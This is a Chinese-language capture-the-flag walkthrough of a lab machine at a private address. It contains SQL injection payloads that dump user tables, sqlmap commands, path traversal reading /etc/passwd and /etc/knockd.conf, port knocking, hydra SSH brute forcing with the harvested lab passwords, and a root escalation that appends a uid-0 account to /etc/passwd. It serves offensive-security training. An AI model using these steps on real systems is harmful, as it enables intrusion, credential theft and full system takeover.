首先正常通过arp-scan进行主机发现 然后nmap扫描得到开放端口
之后访问界面 各种尝试后猜测search界面存在sql注入
接下来通过burp抓包 修改search的参数 为了看清到底有没有报错出现 可以通过搜索正确的内容 例如Mary用于后期判断闭合以及是否注入
search=Mary' order by 6 --+
search=Mary' order by 7 --+
search=Mary' union select 1,2,3,4,5,6 --+
search=Mary' union select 1,database(),3,4,5,6 --+ //Staff
search=Mary' union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database() --+ //StaffDetails Users
search=Mary' union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database() and table_name='Users' --+
search=Mary' union select 1,group_concat(Username),group_concat(Password),4,5,6 from Users --+
Mary:Moe
admin:856f5de590ef37314e7c3bdf6f8a66dc
可以借助MD5在线解密工具
https://www.somd5.com/
admin
transorbital1
直接进入后台之前 不妨尝试一下使用sqlmap对数据库进行扫描看看
由于是POST的形式 我们不妨先通过burp抓包 然后把包进行保存
我们放到kali的/home/kali目录下
vi post.txt
sqlmap -r post.txt --dbs
sqlmap -r post.txt -D users --tables
sqlmap -r post.txt -D users -T UserDetails --dump
不同点 SQL手工注入的时候 使用的当前数据库是Staff 之后只有两个用户 这里通过sqlmap扫描了另一个数据库users 查看到了所有用户账号和密码
id | lastname | reg_date | username | firstname | password |
+------+------------+---------------------+-----------+-----------+---------------+
| 10 | Tribbiani | 2019-12-29 16:58:26 | joeyt | Joey | Passw0rd |
| 11 | Green | 2019-12-29 16:58:26 | rachelg | Rachel | yN72#dsd |
| 12 | Geller | 2019-12-29 16:58:26 | rossg | Ross | ILoveRachel |
| 13 | Geller | 2019-12-29 16:58:26 | monicag | Monica | 3248dsds7s |
| 14 | Buffay | 2019-12-29 16:58:26 | phoebeb | Phoebe | smellycats |
| 15 | McScoots | 2019-12-29 16:58:26 | scoots | Scooter | YR3BVxxxw87 |
| 16 | Trump | 2019-12-29 16:58:26 | janitor | Donald | Ilovepeepee |
| 17 | Morrison | 2019-12-29 16:58:28 | janitor2 | Scott | Hawaii-Five-0 |
| 1 | Moe | 2019-12-29 16:58:26 | marym | Mary | 3kfs86sfd |
| 2 | Dooley | 2019-12-29 16:58:26 | julied | Julie | 468sfdfsd2 |
| 3 | Flintstone | 2019-12-29 16:58:26 | fredf | Fred | 4sfd87sfd1 |
| 4 | Rubble | 2019-12-29 16:58:26 | barneyr | Barney | RocksOff |
| 5 | Cat | 2019-12-29 16:58:26 | tomc | Tom | TC&TheBoyz |
| 6 | Mouse | 2019-12-29 16:58:26 | jerrym | Jerry | B8m#48sd |
| 7 | Flintstone | 2019-12-29 16:58:26 | wilmaf | Wilma | Pebbles |
| 8 | Rubble | 2019-12-29 16:58:26 | bettyr | Betty | BamBam01 |
| 9 | Bing | 2019-12-29 16:58:26 | chandlerb | Chandler | UrAG0D! |
不妨在/home/kali下保存两个txt 分别存放用户名和密码 以免后续爆破ssh需要用到
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
之后使用该管理员用户登录进入后台
接下来可以通过burp进行爆破 尝试找出是否存在文件包含 以及包含的参数名和文件名
字典选择:
payload1 SimpleLIst Filenames long和Filenames short
payload2 SimpleList Fuzzing quick和Fuzzing full
爆破比较缓慢这里不多赘述
根据经验 这里参数大概率可能是file 这里目录可以尝试下能否包含到密码文件
http://192.168.206.144/manage.php?file=../../../../../../../etc/passwd
根据常识得知 最开始的22端口没有办法被探测到的原因是使用了knockd
接下来可以借助文件包含我们查看一下knockd的配置文件
默认位置在
/etc/knockd.conf
192.168.206.144/manage.php?file=../../../../../../../etc/knockd.conf
也就是说可以通过命中7469 8475 9842来进行ssh链接 通过命中9842 8475 7469进行ssh链接的关闭
接下来可以通过nmap或者nc进行敲门
nc 192.168.206.144 7469
nc 192.168.206.144 8475
nc 192.168.206.144 9842
nmap -p 22 192.168.206.144
或者
nmap -p 7469 192.168.206.144
nmap -p 8475 192.168.206.144
nmap -p 9842 192.168.206.144
nmap -p 22 192.168.206.144
之后22号端口也就开放了
接下来我们通过hydra对其进行ssh爆破
hydra -L user.txt -P pass.txt 192.168.206.144 ssh
joeyt Passw0rd
janitor Ilovepeepee
chandlerb UrAG0D!
ssh joeyt@192.168.206.144
ssh janitor@192.168.206.144
PS:以上3个用户均尝试过sudo -l 并没有存在可以root权限执行的内容
接下来不妨保存一下这些密码 然后重新进行一次ssh爆破 看看有没有什么收获
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
hydra -L user.txt -P pass.txt 192.168.206.144 ssh
[22][ssh] host: 192.168.206.144 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.206.144 login: fredf password: B4-Tru3-001
ssh fredf@192.168.206.144
sudo -l
会将第一个参数的内容写到第二个参数的末尾
根据相应python文件的提示 我们不妨考虑一下 新建一个root权限的用户 借助py文件把其写入passwd文件即可实现提权
我们借助工具openssl对密码进行加密处理
openssl passwd -1 -salt admin 123456
-1 是使用md5算法进行加密 那个是1
-salt 自动插入一个随机数作为文件内容加密
admin和123456 是用户名和密码
$1$admin$LClYcRe.ee8dQwgrFc5nz.
之后按照/etc/passwd的格式修改一下 保存到某个文件中
admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
cd /opt/devstuff/dist/test
sudo ./test /tmp/passwd /etc/passwd
su admin
#123456
cd /root
此时已经提权成功 成功获得了flag